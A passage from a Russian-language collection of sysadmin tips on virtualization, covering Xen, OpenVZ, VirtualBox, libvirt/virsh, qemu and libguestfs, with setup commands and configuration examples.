       INSTANCEID=$(euca-describe-instances | grep $EMI | grep running | tail -n1 | awk '{print $2}')
       euca-terminate-instances $INSTANCEID
    
    
    Полезная информация
    
    Перезапуск управляющего сервера eucalyptus:
    
       sudo service eucalyptus restart
    
    Для перезапуска ПО на стороне узла:
    
       sudo service eucalyptus-nc restart
    
    Лог сохраняется в /var/log/eucalyptus
    Файлы конфигурации находятся в директории /etc/eucalyptus
    БД: /var/lib/eucalyptus/db
    Ключи шифрования: /var/lib/eucalyptus и  /var/lib/eucalyptus/.ssh
    
    Подробнее см. официальное руководство пользователя http://help.ubuntu.com/community/UEC
    
     
    ----* Доступ к файлам виртуальных машин VMware ESX из Fedora Linux (доп. ссылка 1)   Автор: Andrey Markelov  [обсудить]
     
    Richard W.M. Jones в своем блоге опубликовал интересный пост
    (http://rwmj.wordpress.com/2010/01/06/examine-vmware-esx-with-libguestfs/) о
    работе при помощи утилит libguestfs с образами VMware ESX4. Немного дополнив,
    напишу, в чем суть.
    
    Во-первых нам понадобятся пакеты fuse-sshfs и guestfish. Первый позволяет
    монтировать при помощи FUSE удаленную файловую систему по SSH FTP, а второй
    установит в систему интерактивную командную оболочку, из которой можно получать
    доступ к образам дисков виртуальных машин, в том числе и vmdk. Естественно, в
    системе должны присутствовать стандартные компоненты виртуализации Fedora, в
    частности, работающий демон libvirtd.
    
    Для начала проверяем, какие присутствуют на хосте ESX виртуальные машины:
    
       $ virsh -c esx://192.168.1.12?no_verify=1 list --all
       Enter username for 192.168.1.12 [root]:
       Enter root password for 192.168.1.12:
       ID Имя Статус
       ----------------------------------
       208 www выполнение
       224 mail выполнение
       - 2RHEL5_DS отключить
       - 2W2003_DC отключить
       - RHEL5_IPA отключить
       - RHEL5_Satellite53 отключить
       - RHEL5_Server1 отключить
       - RHEL5_Station отключить
       - RHEL5_Station2 отключить
       - RHEL5_Zimbra отключить
    
    Далее смонтируем через FUSE соответствующую директорию файловой системы vmfs:
    
       $ mkdir esx
       $ sshfs root@192.168.1.12:/vmfs/volumes esx
       root@192.168.1.12's password:
       $ cd esx/
       $ ls
       4ac343f6-500e2828-d805-0022640793d2 LocalStorage1
    
    Естественно, мы ничего нового по сравнению с тем, что нам покажет vCenter
    client, не увидели. Далее переходим в директорию с нужной нам виртуальной машиной:
    
       $ cd LocalStorage1/RHEL5_IPA/
       $ ls
       RHEL5_IPA-flat.vmdk RHEL5_IPA.vmdk RHEL5_IPA.vmx vmware.log
       RHEL5_IPA.nvram RHEL5_IPA.vmsd RHEL5_IPA.vmxf
    
    При помощи новой утилиты virt-list-filesystems (в версии libguestfs репозитория
    Fedora 12 пока ее нет, зато есть в Rawhide) смотрим какие разделы доступны
    внутри образа:
    
       $ virt-list-filesystems -al RHEL5_IPA-flat.vmdk
       /dev/sda1 ext3
       /dev/vol0/home ext3
       /dev/vol0/root ext3
       /dev/sda3 swap
    
    И, наконец, запускаем интерактивную командную оболочку:
    
       $ guestfish --ro -a RHEL5_IPA-flat.vmdk -m /dev/vol0/root
    
       Welcome to guestfish, the libguestfs filesystem interactive shell for
       editing virtual machine filesystems.
    
       Type: 'help' for help with commands
       'quit' to quit the shell
    
       > ll /
       total 192
       drwxr-xr-x. 22 root root 4096 Oct 24 07:47 .
       dr-xr-xr-x 29 root root 0 Jan 8 12:59 ..
       drwxr-xr-x. 2 root root 4096 Oct 7 15:07 bin
       drwxr-xr-x. 2 root root 4096 Oct 7 13:45 boot
       drwxr-xr-x. 4 root root 4096 Oct 7 13:45 dev
       drwxr-xr-x. 93 root root 12288 Oct 24 07:47 etc
       drwxr-xr-x. 2 root root 4096 Oct 7 13:45 home
       ....
    
    Ну, а дальше man guestfish и help для списка команд оболочки. Для виртуальных
    машин с включенным SELinux крайне желательно использовать ключ --selinux, иначе
    при попытке записи файлов вы можете создать при монтировании образа r/w файлы
    без меток SELinux.
    
     
    ----* Как установить FreeBSD 8.0 DomU в окружении Xen Dom0 (доп. ссылка 1)   Автор: Василий Лозовой  [комментарии]
     
    Во FreeBSD 8.0 была объявлена экспериментальная поддержка DomU для Xen, что
    позволяет установить FreeBSD в паравиртуальном режиме и использовать все
    возможности Xen с FreeBSD.
    
    В качестве хост-окружения будем использовать Xen 3 в Debian GNU/Linux.
    Не забудьте скомпилировать hvmloader для поддержки HMV режима (режим полной
    виртуализации нужен для установки FreeBSD) и включить в BIOS поддержку
    аппаратной акселерации виртуализации.
    
    На данном этапе имеем  гипервизор Xen hypervisor (Dom0) в Linux:
    
       # xm list
       
       Name                                        ID   Mem VCPUs        State   Time
       Domain-0                                     0  3692     8     r----- 1799656.1
    
    Подготавливаем виртуальную машину для запуска на ней FreeBSD, выделяем место на диске.
    
    Создаем конфигурационный файл Xen (/etc/xen/freebsd_vps):
    
    
       kernel = "/usr/lib/xen/boot/hvmloader"
       builder='hvm'
       memory = 1024
       name = "FreeBSD VPS"
       vif = [ '' ]
       disk = [ 'phy:/dev/mylvm0/lvol9,hda,w', 'file:/.1/8.0-RELEASE-i386-dvd1.iso,hdc:cdrom,r' ]
       boot="cda"
       vnc=1
       vncpasswd=''
    
    Запускаем виртуальную машину:
    
       # xm create freebsd_vps
    
    Подключаемся к запущенному окружению при помощи vncviewer. Видим процесс
    загрузки FreeBSD и запуск инсталлятра sysinstall. Устанавливаем FreeBSD по
    своему усмотрению, не забыв установить полные исходные тексты FreeBSD для
    последующей пересборки.
    
    После того как система установлена, пересобираем ядро FreeBSD включив поддержку
    Xen. Собранное ядро копируем во внешнее управляющее Dom0 окружение.
    
       # cd /boot/kernel/
       scp /boot/kernel/kernel user@dom0-host:/usr/lib/xen/boot/kernel
    
    На FreeBSD в /etc/ttys добавляем консоль xc0:
    
       xc0 "/usr/libexec/getty Pc" vt100 on secure
    
    В управляющем Dom0 прописываем в параметры гостевой системы (файл
    /etc/xen/freebsd_vps) вызов ядра FreeBSD, собранного с поддержкой
    паравиртуализации, также отключаем HVM и убираем ссылку на загрузочный iso:
    
       kernel = "/usr/lib/xen/boot/kernel"
       memory = 1024
       name = "FreeBSD VPS"
       vif = [ 'bridge=outeth0', 'bridge=mir111', 'bridge=mir113', 'bridge=mir114', 'bridge=mir115' ]
       disk = [ 'phy:/dev/mylvm0/lvol9,hda1,w' ]
       extra = "boot_verbose=1"
       extra += ",vfs.root.mountfrom=ufs:/dev/ad0s1a"
       extra += ",kern.hz=100"
       pae=1
    
    В вышеприведенном примере подсоединено 5 сетевых интерфейсов.
    
    Перезагружаем FreeBSD в DomU паравиртуальном (PVM) режиме:
    
       # xm destroy freebsd_vps
       # xm create -c freebsd_vps
       # xm list
    
       Name ID Mem VCPUs State Time(s)
       Domain-0 0 3692 8 r----- 1800450.2
       FreeBSD 117 1024 1 r----- 137712.0
    
     
    ----* Установка и запуск OpenVZ на Debian Lenny (доп. ссылка 1)   Автор: DennisK  [комментарии]
     
    Имеем сервер с установленным Debian Lenny. Задача: настроить на серверe несколько VPS-ов.
    
    1. Устанавливаем ядро с поддержкой OpenVZ
    
          aptitude install linux-image-openvz-amd64
    
    2. Для нормальной работы OpenVZ-контейнеров необходимо чтобы /etc/sysctl.conf
    содержал следующие строки:
    
          net.ipv4.conf.all.rp_filter=1
          net.ipv4.icmp_echo_ignore_broadcasts=1
          net.ipv4.conf.default.forwarding=1
          net.ipv4.conf.default.proxy_arp = 0
          net.ipv4.ip_forward=1
          kernel.sysrq = 1
          net.ipv4.conf.default.send_redirects = 1
          net.ipv4.conf.all.send_redirects = 0
          net.ipv4.conf.eth0.proxy_arp=1
    
    3. Перезагружаем сервер
    
    4. Проверяем, что сервер загрузился с новым ядром
          uname -r
    
    если система выдаст 2.6.26-2-openvz-amd64, то всё установилось корректно
    
    5. Ядро, которое было установлено по-умолчанию мне не нужно и я его удаляю
    (если хотите оставить предыдущее ядро - шаг пропускаем)
    
          apt-get remove --purge linux-image-2.6.26-2-amd64
    
    6. Для контейнеров OpenVZ у меня выделен отдельный раздел подмонтированный в
    /vz. По-умолчанию OpenVZ в Debian всё складывает в /var/lib/vz. Переношу всё с
    /var/lib/vz в /vz и создаю симлинк
    
          /etc/init.d/vz stop
          mv /var/lib/vz/* /vz/
          rmdir /var/lib/vz
          ln -s /vz /var/lib/vz
          /etc/init.d/vz start
    
    7. В контейнере у меня будет работать Debian Lenny х86. Загружаем шаблон контейнера с сайта OpenVZ
    
          cd /var/lib/vz/template/cache
          wget -c http://download.openvz.org/template/precreated/debian-5.0-x86.tar.gz
    
    8. Создаём контейнер (101 - это уникальный идентификатор контейнера)
    
          vzctl create 101 --ostemplate debian-5.0-x86 --config vps.basic
    
    9. Указываем чтобы контейнер запускался в вместе с OpenVZ
    
          vzctl set 101 --onboot yes --save
    
    10. Конфигурируем имя хоста, IP и dns-сервер для контейнера
    
          vzctl set 101 --hostname vps1.local --save
          vzctl set 101 --ipadd 10.1.1.101 --save
          vzctl set 101 --nameserver 10.1.1.2 --save
    
    11. Запускаем контейнер  и устанавливаем пароль для root-a
    
          vzctl start 101
          vzctl exec 101 passwd
    
    12. Переключаемся в контейнер
    
          vzctl enter 101
    
    Для выхода из контейнера необходимо дать команду exit. Зайти можно и по ssh.
    
    13. Устанавливаем необходимое ПО в контейнере.
    
    14. Успешно эксплуатируем.
    
    P.S. Несколько необходимых команд для работы с контейнерами:
    
    vzlist -a - список запущенных контейнеров и их состояние
    vzctl stop <UID> - остановить контейнер
    vzctl restart <UID> - перезагрузить контейнер
    vzctl destroy <UID> - удалить контейнер
    
    где <UID> - уникальный идентификатор OpenVZ-контейнера
    
     
    ----* Создание бекапа OpenVZ контейнера (доп. ссылка 1)   [обсудить]
     
    Для создания инкрементального бэкапа по сети можно использовать готовый скрипт ezvzdump,
    суть работы которого в создании копии через rsync, заморозке окружения с
    сохранением дампа состояния (vzctl chkpnt $VEID --suspend
    ), копированию сохраненного дампа и изменившихся с момента последнего rsync
    файлов, продолжению работы остановленного OpenVZ контейнера (vzctl chkpnt $VEID --resume).
    
    Для создания целостных дампов можно воспользоваться утилитой vzdump:
    
       vzdump 777
    
    После этого образ текущего состояния OpenVZ контейнера будет сохранен в /vz/dump/
    
    Утилита vzdump также поддерживает схему suspend/rsync/resume:
    
       vzdump --suspend 777
    
    А также можно сохранить дамп почти мгновенно методом suspend/LVM2 snapshot/resume:
    
       vzdump --dumpdir /space/backup --snapshot 777
    
    В итоге будет сформирован архив /space/backup/vzdump-777.tar, который можно восстановить командой:
    
       vzdump --restore /space/backup/vzdump-777.tar 600
    
     
    ----* Запуск win2k3 на freebsd под virtualbox без x11 (доп. ссылка 1)   Автор: shurik  [комментарии]
     
    Задача: запустить виртуальную машину с win2k3 на хосте с freebsd без установленого Х-сервера.
    
    Имеем: 
       FreeBSD 7.2-RELEASE-p3, 
       virtualbox-3.0.51.r22226 (WITHOUT_QT4=true WITHOUT_DEBUG=true WITH_GUESTADDITIONS=true 
         WITHOUT_DBUS=true WITHOUT_PULSEAUDIO=true WITH_NLS=true)
    
    Сразу хочу заметить, что поскольку протокол VRDP в virtualbox под freebsd пока не реализован, 
    то для первоначальной инсталяции виртуальной машины нам все же понадобится другой хост 
    с установленным окружением X11. Установка win2k3 в виртуальное окружение -
    задача весьма тривиальная,
    поэтому её описание я опущу...
    
    Итак, мы имеем установленную виртуальную систему, которую нам необходимо пренести на 
    другой хост и попытаться там запустить. Для этого экспортируем виртуальную машину на хосте, 
    где мы ее устанавливали:
    
       VBoxManage export WIN2003STD -o ~/WIN2003STD.ovf
    
    где WIN2003STD - имя виртуальной машины, 
    ~/WIN2003STD.ovf - файл, в котором будут храниться экспортируемые параметры виртуальной машины. 
    
    В итоге имеем 3 файла, которые нам необходимо перенести на удаленный хост:
    
       WIN2003STD.mf - файл, содержащий контрольные суммы двух последующих файлов
       WIN2003STD.ovf - файл параметров экспортируемой машины
       WIN2003STD.vmdk - упакованный файл-образ жесткого диска виртуальной машины.
    
    Повторюсь, что поскольку реализации протокола VRDP в virtualbox для freebsd нет, 
    то изначально перед экспортом виртуальной машины нам необходимо будет дать удаленный доступ 
    внутрь гостевого окружения с помощью RDP или VNC. В моем случае я сделал доступ через 
    удаленный рабочий стол win2k3.
    
    На удаленном хосте я создал для запуска виртуального окружения отдельного пользователя 
    vbox с группой vboxusers, которому запретил вход через ssh. Файлы WIN2003STD.mf, WIN2003STD.ovf 
    и WIN2003STD.vmdk я положил в его домашнюю директорию и сделал их владельцем пользователя vbox. 
    
    Далее от пользователя vbox делаем импорт виртуальной машины:
    
       VBoxManage import ~/WIN2003STD.ovf
    
    Далее нам необходимо пробросить внутрь виртуальной машины tcp-порт 3389 для
    доступа к удаленному рабочему столу win2k3:
    
       VBoxManage setextradata WIN2003STD "VBoxInternal/Devices/pcnet/0/LUN#0/Config/RDP/HostPort" 3389
       VBoxManage setextradata WIN2003STD "VBoxInternal/Devices/pcnet/0/LUN#0/Config/RDP/GuestPort" 3389
       VBoxManage setextradata WIN2003STD "VBoxInternal/Devices/pcnet/0/LUN#0/Config/RDP/Protocol" tcp
    
    Если в виртуальной машине при конфигурирации был выбран сетевой адаптер Intel,
    то следует заменить в выше указанных строках pcnet на e1000.
    
    Все, виртуальную машину можно запускать:
    
       VBoxManage startvm WIN2003STD --type headless
    
    "--type headless" позволяет запутить виртуальную машину в фоновом режиме.
    
    О том, что проброс tcp-порта выполнен свидетельствуют строки в логе вмртуальной машины и sockstat:
    
       $ grep -i nat ~/.VirtualBox/Machines/WIN2003STD/Logs/VBox.log
    
       00:00:00.535 Driver = "NAT" (cch=4)
       00:00:00.538 AIS - Alternate Instruction Set = 0 (1)
       00:00:00.942 NAT: ICMP/ping not available (could open ICMP socket, error VERR_ACCESS_DENIED)
       00:00:00.942 NAT: value of BindIP has been ignored
       00:00:35.141 NAT: set redirect TCP hp:3389 gp:3389
       00:01:05.062 NAT: old socket rcv size: 64KB
       00:01:05.062 NAT: old socket snd size: 64KB
    
      $ sockstat -4 -l | grep 3389
    
       vbox VBoxHeadle 982 32 tcp4 :3389 :*
    
    Следует заметить, что icmp во внешний мир из виртуальной машины работать не
    будет, это требует прав суперпользователя,
    о чем нам сказано в логе - "00:00:00.942 NAT: ICMP/ping not available (could
    open ICMP socket, error VERR_ACCESS_DENIED)",
    поэтому проверять работоспособность сети внутри виртуального хоста с помощью
    ping не стоит. Все, задачу можно считать выполненной.
    
    P.S. После выключения удаленной виртуальной машины через сеанс RDP, система выпадает в BSOD и 
    дальше возможен вход только в безопасном режиме, что в нашем случае уже не возможно. Беглый поиск 
    в google дает нам такое решение - необходимо предварительно в ветке реестра 
       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\intelppm\Start 
    выставить значение 4.
    
    P.P.S. Для автоматического старта виртуальной машины при старте системы я в
    /usr/local/etc/rc.d/ создал скрипт вида:
    
       #!/bin/sh
    
       echo "Starting VirtualBox..."
       su vbox -c '/usr/local/bin/VBoxManage startvm WIN2003STD --type headless'
    
     
    ----* Настройка аутентификации для управления окружениями в libvirt (доп. ссылка 1)   [обсудить]
     
    Настройка SASL DIGEST-MD5 аутентификации в libvirt для управления удаленными
    виртуальными окружениями
    в недоверительной сети. Для шифрования передаваемого трафика можно использовать TLS.
    
    Добавляем пользователя virt в SASL базу:
    
       saslpasswd2 -a libvirt virt
       Password:
       Again (for verification):
    
    Через опцию "-a" передаем имя приложения для привязки пользователя к нему. 
    Утилита saslpasswd2 входит в состав пакета cyrus-admin.
    
    Для просмотра списка пользователей из SASL базы libvirt выполняем:
    
       sasldblistusers2 -f /etc/libvirt/passwd.db
    
    Включаем механизм digest-md5 в /etc/sasl2/libvirt.conf:
    
       # Default to a simple username+password mechanism
       mech_list: digest-md5
    
    В настойках /etc/libvirt/libvirtd.conf разрешаем только SASL аутентификацию, при использовании TCP 
    для соединения необходимо поменять схему через директиву аутентификации auth_tcp:
    
       auth_tcp = "sasl"
    
    Но более правильно, чтобы не передавать пароли и другую важную информацию
    открытым текстом, использовать в качестве транспорта TLS, через определение
    директивы auth_tls:
    
       auth_tls = "sasl"
    
    Далее для TLS нужно сгенерирвать серверные и клиентские сертификаты, о создании
    которых рассказано здесь http://libvirt.org/remote.html
    
    
    После активации SASL, для каждой операции libvirt будет запрошен логин и пароль.
    
       $ virsh
    
       virsh # migrate --live kvmnode2 qemu+tls://disarm/system
       Please enter your authentication name:virt
       Please enter your password:
    
     
    ----* Управление гостевым окружением с CentOS/Fedora через последовательный порт (доп. ссылка 1)   [комментарии]
     
    Настройка управления виртуальным окружением через консоль virsh
    (http://www.libvirt.org/), без использования vnc-клиента.
    
    Перенаправляем вывод Grub для виртуального окружения в последовательный порт.
    В /boot/grub/menu.lst добавляем:
    
       serial --speed=115200 --unit=0 --word=8 --parity=no --stop=1
       terminal --timeout=10 serial
    
    Отключаем показ заставки  splash и перенаправляем вывод ядра в последовательный порт (в menu.lst):
    
       title CentOS (2.6.18-128.1.10.el5)
    	root (hd0,0)
    	kernel /boot/vmlinuz-2.6.18-128.1.10.el5 ro root=LABEL=/ console=ttyS0
    	initrd /boot/initrd-2.6.18-128.1.10.el5.img
    
    Настраиваем запуск getty процесса для логина через ttyS0. В /etc/inittab прописываем:
    
       S0:12345:respawn:/sbin/agetty ttyS0 115200
    
    Разрешаем вход суперпользователем через ttyS0:
    
       echo "ttyS0" >> /etc/securetty
    
    Подключаемся к гостевому окружению kvmnode1 через команду virsh:
    
       $ virsh
    
       virsh # console kvmnode1
       Connected to domain kvmnode1
       Escape character is ^]
    
       CentOS release 5.3 (Final)
       Kernel 2.6.18-128.1.10.el5 on an x86_64
    
       kvmnode1 login:
    
     
    ----* Быстрая настройка qemu/kvm окружений при помощи virt-manager (доп. ссылка 1)   [комментарии]
     
    Для упрощения и унификации работы с различными системами виртуализации можно использовать 
    удобный фронтэнд virt-manager (http://virt-manager.et.redhat.com/).
    
    В Ubuntu ставим необходимые пакеты:
    
       sudo apt-get install kvm qemu libvirt-bin bridge-utils ubuntu-virt-mgmt ubuntu-virt-server 
    
    Отдельно GUI интерфейс можно поставить из пакетов virt-manager и virt-viewer.
    Пакет для формирования гостевых окружений: python-vm-builder
    Пакет для создание гостевых VM с другими ОС внутри: python-virtinst
    
    Добавляем себя в группу администраторов виртуальных серверов:
    
       sudo usermod -aG libvirtd `id -un`
    
    Далее, управление виртуальными машинами производится командой virsh.
    
    
    Создаем файл конфигурации test.xml и определяем новую виртуальную машину test c Ubuntu внутри:
    
       sudo python-vm-builder kvm jaunty \
                      --domain test \
                      --dest описание \
                      --arch i386 \
                      --hostname имя_хоста \
                      --mem объем_памяти_в_мегабайтах \
                      --user имя_пользователя \
                      --pass пароль \
                      --ip 192.168.0.12 \
                      --mask 255.255.255.0 \
                      --net 192.168.0.0 \
                      --bcast 192.168.0.255 \
                      --gw 192.168.0.1 \
                      --dns 192.168.0.1 \
                      --components main,universe \
                      --addpkg vim openssh-server \
                      --libvirt qemu:///system ;
    
       virsh dumpxml test > ~/test.xml
       редактируем test.xml
       virsh define ~/test.xml
    
    При необходимости создания гостевой VM с другой операционной системой, можно
    использовать python-virtinst:
    
       sudo virt-install --connect qemu:///system -n test -r 512 -f test.qcow2 -s 12 \
          -c test_inst.iso --vnc --noautoconsole --os-type linux --os-variant ubuntuJaunty --accelerate --network=network:default
    
    Для контроля процесса установки, соединяемся GUI интрфейсом:
    
       virt-viewer -c qemu:///system test  # локально
       virt-viewer -c qemu+ssh://ip_адрес_хоста/system test # с внешнего IP
    
    Если необходимо, чтобы гостевая ОС работала в отдельном разделе диска, то
    файловый образ нужно сконвертировать:
    
       sudo qemu-img convert root.qcow2 -O raw /dev/sdb
    
    Клонирование ранее созданного гостевой системы:
    
       virt-clone --connect=qemu:///system -o srchost -n newhost -f /path/to/newhost.qcow2
    
    
    А затем поправить в XML файле "<source file='/dev/sdb'/>"
    
    
    Управление окружением.
    
    Заходим в shell virsh:
    
       virsh --connect qemu:///system
    
    Стартуем виртуалную машину:
    
       virsh # start test
    
    Замораживаем состояние виртуальной машины:
    
       virsh # suspend test
    
    Продолжаем выполнение с момента остановки:
    
       virsh # resume test
    
    Список активных виртуальных машин:
    
       virsh # list
    
    Список всех определенных в системе виртуальных машин:
    
       virsh # list --all
    
    Останавливаем виртуальную машину test (эквивалент выполнения shutdown -h now):
    
       virsh # shutdown test
    
    Мгновенно останавливаем виртуальную машину, как при выключении питания:
    
       virsh # destroy test
    
    Удаляем виртуальную машину test из списка (удалем файл конфишурации virsh):
    
       virsh # undefine test
    
    
    Для управления виртуальными машинами с удаленного ПК 10.0.0.1 через GUI
    интерфейс можно использовать:
    
       virt-manager -c qemu+ssh://10.0.0.1/system
    
    на локальной машине:
    
       virt-manager -c qemu:///system
    
    
    Настройка сети.
    
    Настройка эмуляции локальной сети и создания полноценного сетевого соединения
    внутри виртуального окружения.
    
    В хост-окружении создаем интерфейс для бриждинга, в /etc/network/interfaces добавляем:
     
       auto br0
       iface br0 inet static
            address 192.168.0.10
            network 192.168.0.0
            netmask 255.255.255.0
            broadcast 192.168.0.255
            gateway 192.168.0.1
            bridge_ports eth0
            bridge_fd 9
            bridge_hello 2
            bridge_maxage 12
            bridge_stp off
    
    Рестартуем сеть:
    
       sudo /etc/init.d/networking restart
    
    В XML конфигурации гостевой системы правим настройки сети на:
    
      <interface type='bridge'>
          <mac address='00:11:22:33:44:55'/>
          <source bridge='br0'/>
          <model type='virtio'/>
        </interface>
    
     
    ----* Установка ARM-сборки Debian GNU/Linux в qemu (доп. ссылка 1) (доп. ссылка 2) (доп. ссылка 3)   [комментарии]
     
    Перед экспериментами по установке Linux на устройства на базе архитектуры ARM
    (например, Sharp Zaurus,
    Openmoko FreeRunner, планшетные ПК NOKIA, NAS на базе SoC Marvell) вначале
    стоит потренироваться в эмуляторе.
    Кроме того, окружение созданное в эмуляторе удобно использовать 
    для создания и сборки пакетов программ или модулей ядра.
    
    Ставим на рабочую машину qemu. Для debian/ubuntu:
    
       sudo apt-get install qemu
    
    Создаем дисковый образ размером 10Гб для виртуальной машины:
    
       qemu-img create -f qcow hda.img 10G 
    
    Загружаем ядро, initrd и инсталлятор Debian для архитектуры ARM:
    
       wget http://people.debian.org/~aurel32/arm-versatile/vmlinuz-2.6.18-6-versatile 
       wget http://people.debian.org/~aurel32/arm-versatile/initrd.img-2.6.18-6-versatile 
       wget http://ftp.de.debian.org/debian/dists/etch/main/installer-arm/current/images/rpc/netboot/initrd.gz 
    
    Загружаем инсталлятор и устанавливаем Debian по сети, следуя инструкциям программы установки:
    
       qemu-system-arm -M versatilepb -kernel vmlinuz-2.6.18-6-versatile -initrd initrd.gz -hda hda.img -append "root=/dev/ram" 
    
    Запускаем установленную систему:
    
       qemu-system-arm -M versatilepb -kernel vmlinuz-2.6.18-6-versatile -initrd initrd.img-2.6.18-6-versatile \
          -hda hda.img -append "root=/dev/sda1"
    
    Устанавливаем дополнительные программы, например, gcc:
    
       apt-get install gcc
    
    Проверяем:
    
       gcc -dumpmachine
       "arm-linux-gnu"
    
     
    ----* Установка Xen 3.3.1 в Ubuntu, используя модифицированное ядро от Novell (доп. ссылка 1)   [обсудить]
     
    Основная причина использования релиза Xen 3.3.1 в возможность запуска немодифицированного 
    64-разрядного Solaris 10U6 в HVM режиме на SMP машине с несколькими vcpu. 
    Для установки Xen необходимо установить пакеты с openssl, x11, gettext,
    python-devel, bcc, libc6-dev-i386.
    Собираем Xen из исходных текстов:
    
       cd /usr/src
       tar zxvf xen-3.3.1.tar.gz
       cd xen-3.3.1
       make xen
       make install-xen
       make tools
       make install-tools
    
    Собираем hvmloader:
    
       cd tools/firmware
       make
       make install
    
    Устанавливаем из mercurial репозитория модифицированное Linux ядро:
    
       apt-get install build-essential libncurses5-dev gawk mercurial
       mkdir -p ~/build/linux-2.6.27-xen
       cd /usr/src/
       hg clone http://xenbits.xensource.com/ext/linux-2.6.27-xen.hg
       cd linux-2.6.27-xen.hg
       make O=~/build/linux-2.6.27-xen/ menuconfig
       make O=~/build/linux-2.6.27-xen/ -j12
       make O=~/build/linux-2.6.27-xen/ modules_install install
       depmod 2.6.27.5
       mkinitramfs -o /boot/initrd-2.6.27.5.img 2.6.27.5
    
    Настраиваем /etc/init.d/xend и xendomains для автоматической загрузки.
    В настройки grub (/boot/grub/menu.lst) помещаем:
    
       title Xen 3.3 / Ubuntu 8.10, kernel 2.6.27-xen
       kernel /boot/xen-3.3.1.gz
       module /boot/vmlinuz-2.6.27.5 root=/dev/sdb1 ro console=tty0
       module /boot/initrd-2.6.27.5.img
    
    Загружаем систему с новым ядром и проверяем работу Xen:
    
       xm info
    
       host : ServerUbuntu
       release : 2.6.27.5
       ...
    
       brctl show
    
       bridge name bridge id STP enabled interfaces
       eth1 8000.001e8c25cca5 no peth1
       pan0 8000.000000000000 no
    
    Xen профайл для установки Solaris 10U6 в режиме аппаратной виртуализации (HVM):
    
       name = "S10U6"
       builder = "hvm"
       memory = "2048"
       disk = ['phy:/dev/loop0,hdc:cdrom,r','phy:/dev/sdb3,hda,w']
       # disk = ['phy:/dev/sdb3,hda,w']
       vif = [ 'bridge=eth1' ]
       device_model = "/usr/lib64/xen/bin/qemu-dm"
       kernel = "/usr/lib/xen/boot/hvmloader"
       cpuid=[ '1:edx=xxxxxxxxxxxxxx1xxxxxxxxxxxxxxxxx' ]
       vnc=1
       boot="cd"
       usb=1
       usbdevice="tablet"
       vcpus=2
       # serial = "pty" # enable serial console
       on_reboot = 'restart'
       on_crash = 'restart'
    
     
    ----* Настройка сетевого доступа для VirtualBox окружения в Ubuntu/Debian Linux (доп. ссылка 1)   [комментарии]
     
    В простейшем случае работу сети внутри гостевой системы в VirtualBox можно обеспечить через NAT.
    Достаточно выбрать тип эмуляции сетевого интерфейса - NAT, а в гостевой ОС получить IP по DHCP или 
    установить вручную из диапазона 10.0.2.0/24, шлюз 10.0.2.2, DNS 10.0.2.3. 
    
    Для проброса портов из вне можно использовать:
    
       VBoxManage setextradata "freebsd" "VBoxInternal/Devices/e1000/0/LUN#0/Config/guestssh/Protocol" TCP
       VBoxManage setextradata "freebsd" "VBoxInternal/Devices/e1000/0/LUN#0/Config/guestssh/GuestPort" 22
       VBoxManage setextradata "freebsd" "VBoxInternal/Devices/e1000/0/LUN#0/Config/guestssh/HostPort" 2222
    
    где, "freebsd" - это имя виртуальной машины, а e1000 тип эмулируемой карты
    (можно посмотреть в VBox.log).
    Заходя на 2222 порт хостовой машины мы будем переброшены на 22 порт виртуального окружения.
    
    
    Для обеспечения полноценного сетевого окружения для виртуального сервера
    необходимо поднять виртуальный сетевой интерфейс.
    
    
    Устанавливаем пакеты:
    
        sudo apt-get install uml-utilities bridge-utils
    
    Настраиваем бриждинг, редактируем /etc/network/interfaces в случае если IP
    хост-система получает динамически (DHCP):
    
        auto eth0
        iface eth0 inet manual
    
        auto br0
        iface br0 inet dhcp
        bridge_ports eth0 vbox0
    
        # The loopback network interface
        auto lo
        iface lo inet loopback
    
    eth0 - сетевой интерфейс, br0 - создаваемый бридж, vbox0 - имя устройства,
    используемого в VirtualBox
    Если виртуальных окружений несколько, можно написать:
    
        bridge_ports eth0 vbox0 vbox1 vbox2 vbox3 vbox4
    
    В случае со статическим IP настройки примут вид:
    
        auto eth0
        iface eth0 inet manual
    
        auto br0
        iface br0 inet static
        address 192.168.0.100
        netmask 255.255.255.0
        gateway 192.168.0.1
        bridge_ports eth0 vbox0 vbox1
    
        # The loopback network interface
        auto lo
        iface lo inet loopback
    
    При использовании статического IP в eth0, его настройки должны совпадать с br0
    
    Перезапускаем  сетевую подсистему:
    
        sudo /etc/init.d/networking restart
    
    В сетевых настройках VirtualBox определяем виртуальные интерфейсы.
    Для этого редактируем файл /etc/vbox/interfaces:
    
       # Each line should be of the format :
       # <interface name> <user name> [<bridge>]
       vbox0 <your user name> br0
       vbox1 <your user name> br0
    
    Перезапускаем virtualbox для принятия изменений:
    
    Для OpenSource версии:
    
        sudo /etc/init.d/virtualbox-ose restart
    
    Для проприетарной сборки:
    
        sudo /etc/init.d/vboxnet restart
    
    Не забываем убедиться в наличии прав доступа на чтение и запись для
    пользователей группы vboxusers для устройства /dev/net/tun
    
        sudo chown root:vboxusers /dev/net/tun
        sudo chmod g+rw /dev/net/tun
    
    Чтобы права автоматически установились после перезагрузки в
    /etc/udev/rules.d/20-names.rules меняем
    
        KERNEL=="tun", NAME="net/%k"
    
    на
    
        KERNEL=="tun", NAME="net/%k",  GROUP="vboxusers", MODE="0660"
    
    В настройках  VirtualBox для гостевого окружения выбираем "host networking" указав имя 
    созданного виртуального интерфейса, а внутри оргужения ставим IP из
    представленного на интерфейсе диапазона адресов (192.168.0.x).
    
    Вручную отдельный TUN интерфейс без бриджинга можно поднять используя tunctl из
    пакета uml-utilities:
    
       tunctl -t vbox0 -u имя_текущего_пользователя
       ifconfig vbox0 192.168.0.254 up
       route add -host 192.168.0.253 dev vbox0
       echo 1 > /proc/sys/net/ipv4/conf/vbox0/proxy_arp
       arp -Ds 192.168.0.253 eth0 pub
    
    С бриджем:
    
        brctl addbr br0
        ifconfig eth0 0.0.0.0 promisc up
        ifconfig vbox0 0.0.0.0 promisc up
        ifconfig br0 192.168.0.1 netmask 255.255.255.0 up
        brctl stp br0 off
        brctl setfd br0 1
        brctl sethello br0 1
        brctl addif br0 eth0
        brctl addif br0 vbox0
    
     
    ----* Как преобразовать образ виртуальной машины Qemu в VirtualBox и VmWare   [комментарии]
     
    Для преобразования образа виртуальной машины Qemu в вид пригодный для запуска в VirtualBox,
    можно использовать следующие команды:
    
       qemu-img convert qemu.img tmp.bin  
       VBoxManage convertdd tmp.bin virtualbox.vdi
       VBoxManage modifyvdi virtualbox.vdi compact
    
    Для старых версий VirtualBox, нужно было использовать вместо VBoxManage - vditool:
    
       vditool DD virtualbox.vdi tmp.bin  
